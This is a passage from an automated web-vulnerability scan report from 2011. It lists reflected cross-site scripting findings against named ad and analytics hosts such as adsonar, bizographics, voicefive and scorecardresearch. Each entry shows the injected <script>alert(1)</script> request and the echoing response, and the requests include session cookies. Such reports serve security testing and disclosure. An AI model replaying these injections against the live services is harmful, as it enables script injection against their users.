Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: TID=16r4opq1tvlkml; TData=99999%7C51134%7C56281%7C50086%7C50085%7C53380%7C60490%7C60512%7C57149%7C50963%7C52615%7C60491%7C50507%7C53656%7C55401%7C60509%7C54255%7C60506%7C57094%7C54243%7C50961%7C54209%7C52841%7C51182%7C56419%7C56673%7C60146%7C56780%7C56969%7C56835%7C56232%7C56761%7C56768%7C56681%7C54057%7C56148_Mon%2C%2009%20May%202011%2016%3A16%3A53%20GMT

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:25:57 GMT
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
P3P: policyref="http://ads.adsonar.com/w3c/p3p.xml", CP="NOI DSP LAW NID CURa ADMa DEVa TAIo PSAo PSDo OUR SAMa OTRa IND UNI PUR COM NAV INT DEM STA PRE LOC"
Content-Type: text/html;charset=utf-8
Vary: Accept-Encoding,User-Agent
Content-Length: 2510

           <!DOCTYPE html PUBLIC "-//W3C//DTD html 4.01 transitional//EN">
           <html>
               <head>
                   <title>Ads by Quigo</title>
                   <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
...[SNIP]...
</script>


                                           java.lang.NumberFormatException: For input string: "22597686fe0e<script>alert(1)</script>be9576e53cf"


                                                           </head>
...[SNIP]...

4.128. http://ads.tw.adsonar.com/adserving/getAds.jsp [placementId parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ads.tw.adsonar.com
Path:	/adserving/getAds.jsp

Issue detail

The value of the placementId request parameter is copied into an HTML comment. The payload eebb5--><script>alert(1)</script>85daf2c0f1d was submitted in the placementId parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /adserving/getAds.jsp?previousPlacementIds=&placementId=1515622eebb5--><script>alert(1)</script>85daf2c0f1d&pid=2259768&ps=-1&zw=580&zh=275&url=http%3A//www.huffingtonpost.com/2011/05/07/rick-santorum-south-carolina-straw-poll_n_859012.html&v=5&dct=Rick%20Santorum%20Wins%20South%20Carolina%20Straw%20Poll&metakw=rick,santorum,wins,south,carolina,straw,poll,politics HTTP/1.1
Host: ads.tw.adsonar.com
Proxy-Connection: keep-alive
Referer: http://www.huffingtonpost.com/2011/05/07/rick-santorum-south-carolina-straw-poll_n_859012.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: TID=16r4opq1tvlkml; TData=99999%7C51134%7C56281%7C50086%7C50085%7C53380%7C60490%7C60512%7C57149%7C50963%7C52615%7C60491%7C50507%7C53656%7C55401%7C60509%7C54255%7C60506%7C57094%7C54243%7C50961%7C54209%7C52841%7C51182%7C56419%7C56673%7C60146%7C56780%7C56969%7C56835%7C56232%7C56761%7C56768%7C56681%7C54057%7C56148_Mon%2C%2009%20May%202011%2016%3A16%3A53%20GMT

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:25:18 GMT
Vary: Accept-Encoding,User-Agent
Content-Type: text/plain
Content-Length: 3332

   <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
   <html>
       <body>
       <script>alert(1)</script>85daf2c0f1d" -->
...[SNIP]...

4.129. http://ads.tw.adsonar.com/adserving/getAds.jsp [ps parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ads.tw.adsonar.com
Path:	/adserving/getAds.jsp

Issue detail

The value of the ps request parameter is copied into an HTML comment. The payload f263c--><script>alert(1)</script>64707373895 was submitted in the ps parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /adserving/getAds.jsp?previousPlacementIds=&placementId=1515622&pid=2259768&ps=-1f263c--><script>alert(1)</script>64707373895&zw=580&zh=275&url=http%3A//www.huffingtonpost.com/2011/05/07/rick-santorum-south-carolina-straw-poll_n_859012.html&v=5&dct=Rick%20Santorum%20Wins%20South%20Carolina%20Straw%20Poll&metakw=rick,santorum,wins,south,carolina,straw,poll,politics HTTP/1.1
Host: ads.tw.adsonar.com
Proxy-Connection: keep-alive
Referer: http://www.huffingtonpost.com/2011/05/07/rick-santorum-south-carolina-straw-poll_n_859012.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: TID=16r4opq1tvlkml; TData=99999%7C51134%7C56281%7C50086%7C50085%7C53380%7C60490%7C60512%7C57149%7C50963%7C52615%7C60491%7C50507%7C53656%7C55401%7C60509%7C54255%7C60506%7C57094%7C54243%7C50961%7C54209%7C52841%7C51182%7C56419%7C56673%7C60146%7C56780%7C56969%7C56835%7C56232%7C56761%7C56768%7C56681%7C54057%7C56148_Mon%2C%2009%20May%202011%2016%3A16%3A53%20GMT

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:26:37 GMT
Vary: Accept-Encoding,User-Agent
Content-Type: text/plain
Content-Length: 3771

   <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
   <html>
       <body>
       <script>alert(1)</script>64707373895" -->

...[SNIP]...

4.130. http://adsfac.us/ag.asp [cc parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://adsfac.us
Path:	/ag.asp

Issue detail

The value of the cc request parameter is copied into the HTML document as plain text between tags. The payload 1f12c<script>alert(1)</script>2868df61dbb was submitted in the cc parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /ag.asp?cc=1f12c<script>alert(1)</script>2868df61dbb&source=js&ord=634406189988701650 HTTP/1.1
Host: adsfac.us
Proxy-Connection: keep-alive
Referer: http://www.gather.com/6360d%3Cimg+src=a+onerror=alert(1)%3E1b6979d15ce
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: FSDLK001=pctl=311878&fpt=0%2C311878%2C&pct%5Fdate=4131&FL311878=1&pctm=1&FM34631=1&pctc=34631&FQ=1; FSQTS032=pctl=304931&fpt=0%2C304931%2C&pct%5Fdate=4139&pctm=1&FL304931=1&FM36289=1&pctc=36289&FQ=1; FSESE002=pctc=31430&FQ=2&pctm=2&FM34983=1&FL311033=1&fpt=0%2C311033%2C109226%2C&pct%5Fdate=4143&FL109226=1&pctl=109226&FM31430=1; FS180001311923=uid=2786182; FS180001=pctl=311923&fpt=0%2C311923%2C&pct%5Fdate=4147&pctm=1&FL311923=1&FM36677=1&pctc=36677&FQ=1

Response

HTTP/1.1 200 OK
Cache-Control: private
Pragma: no-cache
Content-Length: 293
Content-Type: text/html
Expires: Tue, 10 May 2011 14:12:14 GMT
Server: Microsoft-IIS/7.0
Set-Cookie: FS1f12c%3Cscript%3Ealert%281%29%3C%2Fscript%3E2868df61dbb0=uid=3230011; expires=Wed, 11-May-2011 14:13:14 GMT; path=/
Set-Cookie: FS1f12c%3Cscript%3Ealert%281%29%3C%2Fscript%3E2868df61dbb=pctl=0&fpt=0%2C0%2C&pct%5Fdate=4147&pctm=1&FM1=1&pctc=1&FL0=1&FQ=1; expires=Fri, 10-Jun-2011 14:13:14 GMT; path=/
P3P: CP="NOI DSP COR NID CUR OUR NOR"
Date: Tue, 10 May 2011 14:13:13 GMT
Connection: close

if (typeof(fd_clk) == 'undefined') {var fd_clk = 'http://ADSFAC.US/link.asp?cc=1f12c<script>alert(1)</script>2868df61dbb.0.0&CreativeID=1';}document.write('<a href="'+fd_clk+'&CreativeID=1" target="_blank">
...[SNIP]...

4.131. http://api.bizographics.com/v1/profile.redirect [api_key parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://api.bizographics.com
Path:	/v1/profile.redirect

Issue detail

The value of the api_key request parameter is copied into the HTML document as plain text between tags. The payload 8f3a1<script>alert(1)</script>e55e1b69258 was submitted in the api_key parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /v1/profile.redirect?api_key=8dn4jnyemg4ky9svqgs28wds8f3a1<script>alert(1)</script>e55e1b69258&admeld_user_id=ac5afe89-dbe3-4a99-9c60-59f4fb495cb9&callback_url=http%3A%2F%2Ftag%2Eadmeld%2Ecom%2Fpixel%3Fadmeld%5Fdataprovider%5Fid%3D4 HTTP/1.1
Host: api.bizographics.com
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/593/tpm/300x250/below_fold?t=1305033247397&tz=300&hu=&ht=js&hp=0&url=http%3A%2F%2Ftalkingpointsmemo.com%2Farchives%2F2010%2F02%2Fremember_rick_santorum.php&refer=
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: BizoNetworkPartnerIndex=11; BizoID=55f5fe79-12b4-4f78-9976-61924d438e85; BizoData=vipSsUXrfhMAyjSpNgk6T39Qb1MaQBj6W9sWr87GbT1F2VrCIGNp5RVO9z4XipLmXyvHipHCqwrNYQisnPXWDFClGMyR2qTPkIbXGLVAipUzbMStcii8xtm6s0H3yzdFwsHy5c5kuSrbuhDoNcii8xtm6s0HwdXOwip1B1nCe8JGn3rPyXs2c5lEROZWfhbXWlHDeTJtquuHipMoh9RTR6U8NLisaC7ORPZ6qGWYkQZMkXjY8SZILisX2addMa3SpIqgipisdqQYmp4iiY59yUYL33N1TApcuWVlExkNK7HUtFQY8D8EoTSfZvfqipv6jnI0gYrZFK915QPQY8D8EoTSfbG63WARr9y0IvMxx19o1g1o7nMpzq3kfdD2SUwv3QakrzTEr2vlOkJ4D6pmkisCMqcAzum6zEgp6XGo5ipCCle7RZIUyeD671isAw4MKsiiCZYss3U7rEuRSisSDQ1Q6sGK4trdsnRGwuisv9sgNCHPPoPZ5VIT8ipDjMS8dyw5x4tgvvEAmKNipOjaZe4TYQipIlZ3ylJisYOGYzBE9ofsiim5vOPNb106OGBImB2putC69uElEwF27JCOiioj1KhR9a9kO3kWhZdisavH5YaCJ5rUWjQzHYzuE5F8MIo6TFaPEnipsJhgJV3obT1h54262MODCrIgmWLK2d1F6lwbTIy3g6K9xuVvyMODCrIgmWLJd5PYHQOnIlphDis4W2NxC5ii8wm47VZdipzGjg3vXDjpIoXTCip3pWZHdDgudjw9mFhqjE5cmLaumWvPisuMBdYGnNjFKkiifXjBxrDCe4W2moTMN4isdjziiaqnDIIZHfS1BjkDdsnRGwuisv9gyZGAUw0Wrips9ipeipEbut9t4UaMHFipcKz0lXg8MBAcYvQJipLd4ekU1f7MrQxrTtB1awN4NttI9ipMydkER68R1V1OiijTzGXiiboVarOcnmT09ciscCQ9N26R8nipxJ2jUNr57Z0Fyii9iiCoKs9NXzJIXKwEOngHh2VamB2MmghU62sgjYvcAWXzmjMHEAfMVOSFn70nLDnHii2Cip8QsPMip8WtDDSUrkHb2iiJ7HeWfeGJhipkI3X1gYWgt9k4kR7p23Khz5qEL9EwRipv8dWmiiSGdip3ZDoZhGOAhZEwDNkhksJdJjg51dWJkNyCeo9TOO6Qw5is2jULnvCRp96z8l7NnOZRETmVn5isovJhA6Wtqr3yDbtg8TisKMCecaEIV2Tae4VSaFQdUxlAPK1cq2THu

Response

HTTP/1.1 403 Forbidden
Cache-Control: no-cache
Content-Type: text/plain
Date: Tue, 10 May 2011 13:30:03 GMT
P3P: CP="NON DSP COR CURa ADMo DEVo TAIo PSAo PSDo OUR DELa IND PHY ONL UNI COM NAV DEM"
Pragma: no-cache
Server: nginx/0.7.61
Content-Length: 84
Connection: keep-alive

Unknown API key: (8dn4jnyemg4ky9svqgs28wds8f3a1<script>alert(1)</script>e55e1b69258)

4.132. http://api.bizographics.com/v1/profile.redirect [callback_url parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://api.bizographics.com
Path:	/v1/profile.redirect

Issue detail

The value of the callback_url request parameter is copied into the HTML document as plain text between tags. The payload c8570<script>alert(1)</script>59d3c19a609 was submitted in the callback_url parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /v1/profile.redirect?api_key=8dn4jnyemg4ky9svqgs28wds&admeld_user_id=ac5afe89-dbe3-4a99-9c60-59f4fb495cb9&callback_url=c8570<script>alert(1)</script>59d3c19a609 HTTP/1.1
Host: api.bizographics.com
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/593/tpm/300x250/below_fold?t=1305033247397&tz=300&hu=&ht=js&hp=0&url=http%3A%2F%2Ftalkingpointsmemo.com%2Farchives%2F2010%2F02%2Fremember_rick_santorum.php&refer=
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: BizoNetworkPartnerIndex=11; BizoID=55f5fe79-12b4-4f78-9976-61924d438e85; BizoData=vipSsUXrfhMAyjSpNgk6T39Qb1MaQBj6W9sWr87GbT1F2VrCIGNp5RVO9z4XipLmXyvHipHCqwrNYQisnPXWDFClGMyR2qTPkIbXGLVAipUzbMStcii8xtm6s0H3yzdFwsHy5c5kuSrbuhDoNcii8xtm6s0HwdXOwip1B1nCe8JGn3rPyXs2c5lEROZWfhbXWlHDeTJtquuHipMoh9RTR6U8NLisaC7ORPZ6qGWYkQZMkXjY8SZILisX2addMa3SpIqgipisdqQYmp4iiY59yUYL33N1TApcuWVlExkNK7HUtFQY8D8EoTSfZvfqipv6jnI0gYrZFK915QPQY8D8EoTSfbG63WARr9y0IvMxx19o1g1o7nMpzq3kfdD2SUwv3QakrzTEr2vlOkJ4D6pmkisCMqcAzum6zEgp6XGo5ipCCle7RZIUyeD671isAw4MKsiiCZYss3U7rEuRSisSDQ1Q6sGK4trdsnRGwuisv9sgNCHPPoPZ5VIT8ipDjMS8dyw5x4tgvvEAmKNipOjaZe4TYQipIlZ3ylJisYOGYzBE9ofsiim5vOPNb106OGBImB2putC69uElEwF27JCOiioj1KhR9a9kO3kWhZdisavH5YaCJ5rUWjQzHYzuE5F8MIo6TFaPEnipsJhgJV3obT1h54262MODCrIgmWLK2d1F6lwbTIy3g6K9xuVvyMODCrIgmWLJd5PYHQOnIlphDis4W2NxC5ii8wm47VZdipzGjg3vXDjpIoXTCip3pWZHdDgudjw9mFhqjE5cmLaumWvPisuMBdYGnNjFKkiifXjBxrDCe4W2moTMN4isdjziiaqnDIIZHfS1BjkDdsnRGwuisv9gyZGAUw0Wrips9ipeipEbut9t4UaMHFipcKz0lXg8MBAcYvQJipLd4ekU1f7MrQxrTtB1awN4NttI9ipMydkER68R1V1OiijTzGXiiboVarOcnmT09ciscCQ9N26R8nipxJ2jUNr57Z0Fyii9iiCoKs9NXzJIXKwEOngHh2VamB2MmghU62sgjYvcAWXzmjMHEAfMVOSFn70nLDnHii2Cip8QsPMip8WtDDSUrkHb2iiJ7HeWfeGJhipkI3X1gYWgt9k4kR7p23Khz5qEL9EwRipv8dWmiiSGdip3ZDoZhGOAhZEwDNkhksJdJjg51dWJkNyCeo9TOO6Qw5is2jULnvCRp96z8l7NnOZRETmVn5isovJhA6Wtqr3yDbtg8TisKMCecaEIV2Tae4VSaFQdUxlAPK1cq2THu

Response

HTTP/1.1 403 Forbidden
Cache-Control: no-cache
Content-Type: text/plain
Date: Tue, 10 May 2011 13:31:11 GMT
P3P: CP="NON DSP COR CURa ADMo DEVo TAIo PSAo PSDo OUR DELa IND PHY ONL UNI COM NAV DEM"
Pragma: no-cache
Server: nginx/0.7.61
Content-Length: 58
Connection: keep-alive

Unknown Referer: c8570<script>alert(1)</script>59d3c19a609

4.133. http://ar.voicefive.com/b/rc.pli [func parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ar.voicefive.com
Path:	/b/rc.pli

Issue detail

The value of the func request parameter is copied into the HTML document as plain text between tags. The payload b2a61<script>alert(1)</script>835bab172cf was submitted in the func parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /b/rc.pli?func=COMSCORE.BMX.Broker.handleInteractionb2a61<script>alert(1)</script>835bab172cf&n=ar_int_p97174789&1305033324831 HTTP/1.1
Host: ar.voicefive.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ar_p91300630=exp=1&initExp=Thu Apr 21 01:24:06 2011&recExp=Thu Apr 21 01:24:06 2011&prad=1201632&arc=1442826&; ar_p90175839=exp=3&initExp=Sun Apr 24 15:20:22 2011&recExp=Sun Apr 24 15:20:23 2011&prad=3992125865291151&arc=6108747&; ar_p81479006=exp=1&initExp=Sun Apr 24 19:44:30 2011&recExp=Sun Apr 24 19:44:30 2011&prad=58779362&arc=40314462&; ar_s_p81479006=1; ar_p91136705=exp=2&initExp=Tue Apr 26 18:40:08 2011&recExp=Wed Apr 27 12:40:09 2011&prad=296638419&arc=206710287&; ar_p92429851=exp=4&initExp=Tue Apr 26 18:36:13 2011&recExp=Wed Apr 27 12:40:21 2011&prad=296638425&arc=200912704&; ar_p84552060=exp=1&initExp=Wed Apr 27 19:31:14 2011&recExp=Wed Apr 27 19:31:14 2011&prad=2108505&arc=4477116&; ar_p82806590=exp=1&initExp=Thu Apr 28 21:29:14 2011&recExp=Thu Apr 28 21:29:14 2011&prad=62872739&arc=40422016&; ar_p90452457=exp=1&initExp=Thu May 5 00:58:23 2011&recExp=Thu May 5 00:58:23 2011&prad=310177527&arc=211671722&; ar_p97174789=exp=44&initExp=Sun Apr 24 12:09:48 2011&recExp=Tue May 10 13:15:11 2011&prad=253732016&arc=207615354&; BMX_3PC=1; UID=875e3f1e-184.84.247.65-1303349046; BMX_G=method%2D%3E%2D1%2Cts%2D%3E1305033314%2E005%2Cwait%2D%3E10000%2C

Response

HTTP/1.1 200 OK
Server: nginx
Date: Tue, 10 May 2011 13:46:23 GMT
Content-Type: application/x-javascript
Connection: close
P3P: policyref="/w3c/p3p.xml", CP="NOI COR NID CUR DEV TAI PSA IVA OUR STA UNI NAV INT"
Cache-Control: max-age=0, no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: -1
Vary: User-Agent,Accept-Encoding
Content-Length: 83

COMSCORE.BMX.Broker.handleInteractionb2a61<script>alert(1)</script>835bab172cf("");

4.134. http://b.scorecardresearch.com/beacon.js [c1 parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://b.scorecardresearch.com
Path:	/beacon.js

Issue detail

The value of the c1 request parameter is copied into the HTML document as plain text between tags. The payload 73a6b<script>alert(1)</script>e7e20410001 was submitted in the c1 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /beacon.js?c1=773a6b<script>alert(1)</script>e7e20410001&c2=5964888&c3=2&c4=&c5=&c6=&c15=&tm=886978 HTTP/1.1
Host: b.scorecardresearch.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: UID=25894b9d-24.143.206.177-1303083414

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript
Vary: Accept-Encoding
Cache-Control: private, no-transform, max-age=604800
Expires: Tue, 17 May 2011 13:11:45 GMT
Date: Tue, 10 May 2011 13:11:45 GMT
Connection: close
Content-Length: 1235

if(typeof COMSCORE=="undefined"){var COMSCORE={}}if(typeof _comscore!="object"){var _comscore=[]}COMSCORE.beacon=function(k){try{if(!k){return}var i=1.8,l=k.options||{},j=l.doc||document,b=l.nav||navi
...[SNIP]...
E.purge=function(a){try{var c=[],f,b;a=a||_comscore;for(b=a.length-1;b>=0;b--){f=COMSCORE.beacon(a[b]);a.splice(b,1);if(f){c.push(f)}}return c}catch(d){}};COMSCORE.purge();

COMSCORE.beacon({c1:"773a6b<script>alert(1)</script>e7e20410001", c2:"5964888", c3:"2", c4:"", c5:"", c6:"", c10:"", c15:"", c16:"", r:""});

4.135. http://b.scorecardresearch.com/beacon.js [c10 parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://b.scorecardresearch.com
Path:	/beacon.js

Issue detail

The value of the c10 request parameter is copied into the HTML document as plain text between tags. The payload 4ebac<script>alert(1)</script>91384b8bde was submitted in the c10 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /beacon.js?c1=8&c2=6035308&c3=&c4=&c5=&c6=&c10=4ebac<script>alert(1)</script>91384b8bde&c15= HTTP/1.1
Host: b.scorecardresearch.com
Proxy-Connection: keep-alive
Referer: http://www.slashgear.com/banners/728x90.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: UID=25894b9d-24.143.206.177-1303083414

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript
Vary: Accept-Encoding
Cache-Control: private, no-transform, max-age=604800
Expires: Tue, 17 May 2011 13:37:20 GMT
Date: Tue, 10 May 2011 13:37:20 GMT
Connection: close
Content-Length: 1233

if(typeof COMSCORE=="undefined"){var COMSCORE={}}if(typeof _comscore!="object"){var _comscore=[]}COMSCORE.beacon=function(k){try{if(!k){return}var i=1.8,l=k.options||{},j=l.doc||document,b=l.nav||navi
...[SNIP]...
e;for(b=a.length-1;b>=0;b--){f=COMSCORE.beacon(a[b]);a.splice(b,1);if(f){c.push(f)}}return c}catch(d){}};COMSCORE.purge();

COMSCORE.beacon({c1:"8", c2:"6035308", c3:"", c4:"", c5:"", c6:"", c10:"4ebac<script>alert(1)</script>91384b8bde", c15:"", c16:"", r:""});

4.136. http://b.scorecardresearch.com/beacon.js [c15 parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://b.scorecardresearch.com
Path:	/beacon.js

Issue detail

The value of the c15 request parameter is copied into the HTML document as plain text between tags. The payload 5429d<script>alert(1)</script>d35a1fcd6fc was submitted in the c15 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /beacon.js?c1=7&c2=5964888&c3=2&c4=&c5=&c6=&c15=5429d<script>alert(1)</script>d35a1fcd6fc&tm=886978 HTTP/1.1
Host: b.scorecardresearch.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: UID=25894b9d-24.143.206.177-1303083414

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript
Vary: Accept-Encoding
Cache-Control: private, no-transform, max-age=604800
Expires: Tue, 17 May 2011 13:11:58 GMT
Date: Tue, 10 May 2011 13:11:58 GMT
Connection: close
Content-Length: 1235

if(typeof COMSCORE=="undefined"){var COMSCORE={}}if(typeof _comscore!="object"){var _comscore=[]}COMSCORE.beacon=function(k){try{if(!k){return}var i=1.8,l=k.options||{},j=l.doc||document,b=l.nav||navi
...[SNIP]...
.length-1;b>=0;b--){f=COMSCORE.beacon(a[b]);a.splice(b,1);if(f){c.push(f)}}return c}catch(d){}};COMSCORE.purge();

COMSCORE.beacon({c1:"7", c2:"5964888", c3:"2", c4:"", c5:"", c6:"", c10:"", c15:"5429d<script>alert(1)</script>d35a1fcd6fc", c16:"", r:""});

4.137. http://b.scorecardresearch.com/beacon.js [c2 parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://b.scorecardresearch.com
Path:	/beacon.js

Issue detail

The value of the c2 request parameter is copied into the HTML document as plain text between tags. The payload b2fa4<script>alert(1)</script>1a93d1d559b was submitted in the c2 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /beacon.js?c1=7&c2=5964888b2fa4<script>alert(1)</script>1a93d1d559b&c3=2&c4=&c5=&c6=&c15=&tm=886978 HTTP/1.1
Host: b.scorecardresearch.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: UID=25894b9d-24.143.206.177-1303083414

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript
Vary: Accept-Encoding
Cache-Control: private, no-transform, max-age=604800
Expires: Tue, 17 May 2011 13:11:47 GMT
Date: Tue, 10 May 2011 13:11:47 GMT
Connection: close
Content-Length: 1235

if(typeof COMSCORE=="undefined"){var COMSCORE={}}if(typeof _comscore!="object"){var _comscore=[]}COMSCORE.beacon=function(k){try{if(!k){return}var i=1.8,l=k.options||{},j=l.doc||document,b=l.nav||navi
...[SNIP]...
on(a){try{var c=[],f,b;a=a||_comscore;for(b=a.length-1;b>=0;b--){f=COMSCORE.beacon(a[b]);a.splice(b,1);if(f){c.push(f)}}return c}catch(d){}};COMSCORE.purge();

COMSCORE.beacon({c1:"7", c2:"5964888b2fa4<script>alert(1)</script>1a93d1d559b", c3:"2", c4:"", c5:"", c6:"", c10:"", c15:"", c16:"", r:""});

4.138. http://b.scorecardresearch.com/beacon.js [c3 parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://b.scorecardresearch.com
Path:	/beacon.js

Issue detail

The value of the c3 request parameter is copied into the HTML document as plain text between tags. The payload 246e7<script>alert(1)</script>5eef89d5c78 was submitted in the c3 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /beacon.js?c1=7&c2=5964888&c3=2246e7<script>alert(1)</script>5eef89d5c78&c4=&c5=&c6=&c15=&tm=886978 HTTP/1.1
Host: b.scorecardresearch.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: UID=25894b9d-24.143.206.177-1303083414

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript
Vary: Accept-Encoding
Cache-Control: private, no-transform, max-age=604800
Expires: Tue, 17 May 2011 13:11:50 GMT
Date: Tue, 10 May 2011 13:11:50 GMT
Connection: close
Content-Length: 1235

if(typeof COMSCORE=="undefined"){var COMSCORE={}}if(typeof _comscore!="object"){var _comscore=[]}COMSCORE.beacon=function(k){try{if(!k){return}var i=1.8,l=k.options||{},j=l.doc||document,b=l.nav||navi
...[SNIP]...
y{var c=[],f,b;a=a||_comscore;for(b=a.length-1;b>=0;b--){f=COMSCORE.beacon(a[b]);a.splice(b,1);if(f){c.push(f)}}return c}catch(d){}};COMSCORE.purge();

COMSCORE.beacon({c1:"7", c2:"5964888", c3:"2246e7<script>alert(1)</script>5eef89d5c78", c4:"", c5:"", c6:"", c10:"", c15:"", c16:"", r:""});

4.139. http://b.scorecardresearch.com/beacon.js [c4 parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://b.scorecardresearch.com
Path:	/beacon.js

Issue detail

